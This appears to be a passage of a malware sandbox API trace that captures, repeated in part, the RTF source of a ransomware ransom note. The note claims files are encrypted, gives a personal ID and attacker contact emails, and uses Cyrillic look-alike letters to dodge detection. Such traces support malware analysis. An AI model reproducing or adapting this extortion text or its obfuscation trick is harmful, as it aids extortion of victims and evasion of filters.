\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 